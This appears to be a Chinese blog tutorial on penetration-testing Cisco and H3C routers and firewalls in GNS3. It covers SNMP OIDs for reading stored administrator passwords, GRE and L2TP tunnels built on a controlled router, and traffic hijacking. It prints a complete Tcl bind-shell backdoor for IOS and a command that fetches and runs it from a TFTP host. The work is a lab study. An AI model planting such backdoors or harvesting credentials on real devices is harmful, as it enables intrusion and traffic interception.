防火墙-路由器学习(3)之正式入坑
Author: l3m0n@Syclover
前言
网上关于路由器、防火墙的中文渗透资料并不是很多,这种设备不好轻易购买到,平日练习的机会也少,下面的模拟攻防主要以GNS模拟器、Cisco Packet Tracer模拟器进行.
下面一些我学习的关于路由器和防火墙的基本知识。系统的还是推荐看书籍,例如计算机网络、网络设备配置管理等,平时遇到的是h3c、锐捷、思科等一些设备,每个又略有差异,越加了解就对渗透越有帮助。
http://www.cnblogs.com/iamstudy/articles/firewall_route_study_1.html
http://www.cnblogs.com/iamstudy/articles/firewall_route_study_2.html
另外最近大家对方程式的windows关注很大,各种蹭蹭热度,当然也是其危害之大的原因,但是相对于linux和路由器却无人问津,我猜想里面还可能有一个攻击门槛的问题吧?后面的内容是一个非专业运维人员(技能所需而学)通过模拟器先搭建环境再讲解利用,错误之处,多多指正。
文前先膜一下vodu师傅...
基础简介
-
常见模式
- 非特权模式
- 特权模式
- 命令: enable
- 全局配置模式
- 命令: configure terminal
- 监控模式
-
交换机
交换机内部的CPU会在每个端口成功连接时,通过将MAC地址和端口对应,形成一张MAC表。在今后的通讯中,发往该MAC地址的数据包将仅送往其对应的端口,而不是所有的端口。因此,交换机可用于划分数据链路层广播,即冲突域;但它不能划分网络层广播,即广播域。 -
路由器
当数据从一个子网传输到另一个子网时,可通过路由器的路由功能来完成。因此,路由器具有判断网络地址和选择IP路径的功能 -
vlan
这个叫虚拟局域网,一组逻辑上的设备和用户,这些设备和用户并不受物理位置的限制,可以根据功能、部门及应用等因素将它们组织起来,相互之间的通信就好像它们在同一个网段中一样 -
常见命令
- show running-config 显示配置信息
- config terminal 进入全局配置模式
- enable 进入特权模式
- write 保存配置
基础环境搭建
0、拓扑图
其中C1是windows2003
1、加载pix防火墙:
2、加载思科路由器c3640
3、配置云(C1)
选择vmnet1网络适配器,然后再点击添加.
4、思科路由器(R1、R2)
R1:
interface fastEthernet 0/0
ip address 10.10.10.2 255.255.255.0
no shutdown
interface loopback 0
//此网卡可用于真实机与GNS3交互的接口
ip address 192.168.0.1 255.255.255.0
no shutdown
ip route 172.16.0.0 255.255.255.0 10.10.10.1
R2:
interface fastEthernet 0/0
ip address 10.10.10.1 255.255.255.0
no shutdown
interface fastEthernet 1/0
ip address 172.16.0.1 255.255.255.0
no shutdown
ip route 192.168.0.1 255.255.255.255 10.10.10.2
5、虚拟机vm的windows2003的网络配置:
windows2003配置:
能够ping到R1则是配置ok.说明已经成功将虚拟机win2003接入到gns中.
snmp
什么是snmp?中文意思就是是:简单网络管理协议
维基百科解释: 传送门
snmp协议工作的原理简单点来说就是管理主机向被管理的主机或设备发送一个请求,这个请求包含一个community和一个oid。oid就是一个代号,代表管理主机这个请求想要的信息.
R1配置snmp
全局配置模式下运行命令
snmp-server community public ro //启动SNMP服务,并设置只读团体名为public
public snmp-server community r1 rw //启动SNMP服务,设置读写团体名为r1
snmp-server contact l3m0n //设置联系人
snmp-server location syclover //设置位置信息
利用工具:ip network browser
http://www.solarwinds.com/topics/ip-network-browser
没h3c,也没法模拟一些获取管理员账号密码实验,不过原理就是通过特定的oid读到了设备中存储的用户名和密码。
系统信息
1.3.6.1.2.1.1
IP获取
1.3.6.1.2.1.7.5
管理员账号密码读取
1.3.6.1.4.1.2011.5.2.1.10.1
1.3.6.1.4.1.2011.10.2.12.1.1.1
1.3.6.1.4.1.25506.2.12.1.1.1
ps: 利用reGeorg进行代理后,kali下的snmpwalk不能用,是因为snmp还有udp的包.
针对h3c的攻击(nmap和msf脚本),本质还是一些oid的利用.
https://github.com/grutz/h3c-pt-tools
隧道协议
协议了解
协议 | 安全性 | PAT穿透 |
---|---|---|
GRE | 不加密 | 否 |
PPTP | 加密 | 是 |
L2TP | 不加密 | 是 |
IP-SEC | 加密 | 否 |
L2TP over IPSEC | 加密 | 是 |
1、NAT又是叫网络地址转化,主要是局部地址和全局地址池转化,这个能够节约ip地址。
NAT不支持一些流量
- 路由协议
- DNS区域传送
- DHCP
- SNMP
...
2、PAT叫内部全局IP地址过载,将内部本地ip动态的转到单一的内部全局ip和端口号,如下图。
一般是会用NAT动态先进行转化,如果地址池不够用了,就会使用PAT过载方式进行转换。
GRE
GRE是一种较为传统的隧道协议,它所实现的是异地网络之间可以通过内部私网相互访问,(思科有私有协议-VTP来跨Vlan)
拓扑图:
工作流程(目前是为了从Attack访问到172.16.0.2这个server):
1、192.168.0.2达到R2,应该REG的配置,这时候会在原有包再封装一个ip包头,源1.1.1.1,目的1.1.1.2
2、在发到公网R1之前,又会封装新的ip包头,源111.111.111.2,目的222.222.222.2
3、达到R3的时候,发现时REG头,通过解包发现源ip是192.168.0.2,目的ip是172.16.0.2
4、Sever接到包后也是如此的逆向性封装包,发送后R2收到的就是源ip是172.16.0.2,目的ip时192.168.0.2
配置:
1、基础网络配置
- 按ip分配好,记得R2和R3需要做默认路由到互联网的路由器上,其余的就不用做了,模拟互联网情况
- 互联网路由R1做路由选择(静态、动态都可以),目的是为了连通r2、r3
- Attack记得要设置默认路由到R2
2、RGE配置
R2配置:
interface Tunnel 2
ip address 1.1.1.1 255.255.255.252
tunnel source 111.111.111.2
tunnel destination 222.222.222.2
全局配置模式下GRE路由: ip route 172.16.0.0 255.255.255.0 Tunnel2
R3配置:
interface Tunnel 3
ip address 1.1.1.2 255.255.255.252
tunnel source 222.222.222.2
tunnel destination 111.111.111.2
全局配置模式下GRE路由: ip route 192.168.0.0 255.255.255.0 Tunnel3
记得GRE路由的设置,不然发到公网的数据不会走REG通道,因为公网没有私网的路由.
能够相互ping通,则表示GRE通道搭建成功,在渗透过程中,=。=,也可以类似的通过获得到的R3路由器权限,可以配置出异地跨Vlan的访问,只不过成本感觉会有点高。
l2tp(未配置成功)
在攻击的过程中,如果能够利用控制的设备配置出一个VPN是极为方便渗透过程的.
下面以L2TP配置为例,在公司的R1路由器进行VPN搭建.由于是模拟实验,就省去了防火墙的配置.
对R1进行网络配置,增加一个lo,为vpn点,然后设置默认路由下一跳发给ISP.
R1# configure terminal
R1(config)#interface lo 0
R1(config-if)#ip add 100.100.100.1 255.255.255.0
R1(config-if)#exit
R1(config)#ip route 0.0.0.0 0.0.0.0 10.10.10.1
VPN配置
R1#configure terminal
R1(config)#username l3m0n password syclover
R1(config)#vpdn enable
R1(config)#vpdn-group syclover
R1(config-vpdn)#accept-dialin
R1(config-vpdn-acc-in)#protocol l2tp
R1(config-vpdn-acc-in)#virtual-template 1
R1(config-vpdn-acc-in)#exit
R1(config-vpdn)#no l2tp tunnel authentication
R1(config-vpdn)#exit
R1(config)#ip local pool pool1 100.100.100.100 100.100.100.254
R1(config)#interface Virtual-Template 1
R1(config-if)#encapsulation ppp
R1(config-if)#ip unnumbered fastEthernet 0/0
R1(config-if)#peer default ip address pool pool1
R1(config-if)#ppp authentication chap
R1(config-if)#end
后门种植
TCL后门
这个对版本有限制,模拟器中使用的是c7200,12.4T以上应该是支持TCL的.
# TclShell.tcl v0.1 by Andy Davis, IRM 2007
#
# IRM accepts no responsibility for the misuse of this code
# It is provided for demonstration purposes only
proc callback {sock addr port} {
fconfigure $sock -translation lf -buffering line
puts $sock " "
puts $sock "---|---|---|---|---|---|---|---|---|---|---|---|-"
puts $sock "TclShell v0.1 by Andy Davis, IRM 2007"
puts $sock "---|---|---|---|---|---|---|---|---|---|---|---|-"
puts $sock " "
set response [exec "sh ver | inc IOS"]
puts $sock $response
set response [exec "sh priv"]
puts $sock $response
puts $sock " "
puts $sock "Enter IOS command:"
fileevent $sock readable [list echo $sock]
}
proc echo {sock} {
global var
if {[eof $sock] || [catch {gets $sock line}]} {
} else {
set response [exec "$line"]
puts $sock $response
}
}
set port 1234
set sh [socket -server callback $port]
vwait var
close $sh
Router#tclsh
Router(tcl)#source tftp://172.16.0.2/1.tcl
模拟器上的console会进入假死状态...真实环境还未试过,需要在console下需要谨慎使用.
固件后门
=.=,需要逆向基础,无研究。
流量监控
NetFlow网络流量监控
拓扑图
工作原理:NetFlow利用标准的交换模式处理数据流的第一个IP包数据,生成NetFlow 缓存,随后同样的数据基于缓存信息在同一个数据流中进行传输,不再匹配相关的访问控制等策略,NetFlow缓存同时包含了随后数据流的统计信息。它是思科专有开发的协议
使用软件: ManageEngine NetFlow Analyzer
安装ManageEngine NetFlow Analyzer
记住netflow port为9996和web port为8080
在R2中配置:
a、配置netflow目标
router#configure terminal
//下面ip是ManageEngine NetFlow Analyzer的服务器安装所在的ip
router(config)#ip flow-export destination 172.168.0.2 9996
router(config)#ip flow-export source loopback 0
router(config)#ip flow-export version 5
router(config)#ip flow-cache timeout active 1
router(config)#snmp-server ifindex persist
b、在端口配置模式下配置
router#configure terminal
router(config)#interface FastEthernet 0/0
router(config-if)#ip route-cache flow
router(config-if)#exit
c.验证
//显示当前Netflow的配置
show ip flow export
//显示当前活动数据流概要,设备输出了多少Netflow数据
show ip cache verbose flow
最后实现图,大概能够对数据进行一个整体的分析.
流量劫持
透明劫持
即不修改数据包的源IP地址和目的IP地址,只对数据包的data和checksum进行修改。这样基本不会让用户和服务器引起任何察觉,做到完全透明,同时无法被杀软防火墙IPS之类的发觉,除了增加一些延迟。
网关劫持
就是作为一个网关,对经过我的流量进行路由和NAT,使得流量能够正常在Internet上传输。会产生较大的影响,以Gmail为例,会提示异地登陆等。
后言
针对路由协议的攻击,比如RIP、IGRP协议等攻击,
参考文章:
snmp弱口令引起的信息泄漏
Configuring Cisco Router as L2TP+IPsec | Full Video
荐:内网渗透思路探索 之新思路的探索与验证
荐:利用被入侵的路由器迈入内网
中国电信大量网络设备SNMP弱口令(可登陆设备)
荐:域渗透之流量劫持
GNS3 配置GRE(Generic Routing Encapsulation)
内网渗透应用 跨vlan渗透的一种思路
荐:关于跨越vlan进行arp嗅探的思考
Equation Group Firewall Operations Catalogue
荐:Cisco SNMP RCE漏洞复现过程
荐:Shadow-Brokers所泄露文件的介绍、技术分析(上)
NetFlow网络流量监控分析的安装步骤及成果分享
荐:利用被入侵的路由器获取网络流量
思科ASA防火墙下抓包方法